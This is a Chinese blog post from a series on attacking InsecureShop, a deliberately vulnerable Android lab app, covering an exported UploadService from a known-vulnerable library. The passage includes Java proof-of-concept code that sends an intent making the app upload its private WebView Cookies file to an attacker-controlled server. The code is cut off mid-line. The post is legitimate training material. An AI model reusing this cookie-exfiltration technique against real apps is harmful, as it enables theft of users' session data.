【Android安全】insecureshop漏洞挖掘-中

漏洞#6 -使用已知漏洞的组件

1.分析源码
AndroidManifest.xml中net.gotev.uploadservice.UploadService是可导出的
在这里插入图片描述

分析UploadService.class

判断传递的intent,其action是否等于net.gotev.uploadservice.action.upload
在这里插入图片描述
在这里插入图片描述
这里后面有些忘记截图,暂时未补

漏洞利用-编写源码

这里踩了很多坑,主要原因是对android依赖配置导入不熟悉

1.导入net.gotev.uploadservice库
搜索可用的版本
https://central.sonatype.com/artifact/net.gotev/uploadservice/4.9.0/overview

insecureshop使用的net.gotev.uploadservice版本是3.2.3,为什么这里poc中不用3.2.3呢,因为现在这个版本不可用,相邻版本只有3.3和3.2.1,由于3.3版本与3.2.3某些实现方法不同,这里使用3.2.1版本

编译配置语言,确保使用的是Groovy DSL,而不是Kotlin DSL,因为在使用Kotlin DSL后,在导入相关依赖后,总是出现各种报错,(当然或许是自己不熟悉依赖冲突配置导致)在这里插入图片描述

打开项目的buid.gradle,在dependencies下添加依赖

implementation 'net.gotev:uploadservice:3.2.1'
  1. 编写源码

MainActivity

UploadTaskParameters params = new UploadTaskParameters();
params.setId("1236");
params.setServerUrl("http://10.4.2.34:8000/1.txt");
try {
   
    params.addFile(new UploadFile("/data/data/com.insecureshop/app_webview/Cookies"));

}
catch(FileNotFoundException e) {
   
    throw new IllegalStateException(e); /* should be never thrown because not checked on the client side */
}

Intent intent = new Intent("net.gotev.uploadservice.action.upload");
intent.setClassName("com.insecureshop", "net.gotev.uploadservice.UploadService");
intent.putExtra("taskClass", "net.gotev.uploadservice.MultipartUploadTask");
intent.putExtra("multipartU
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值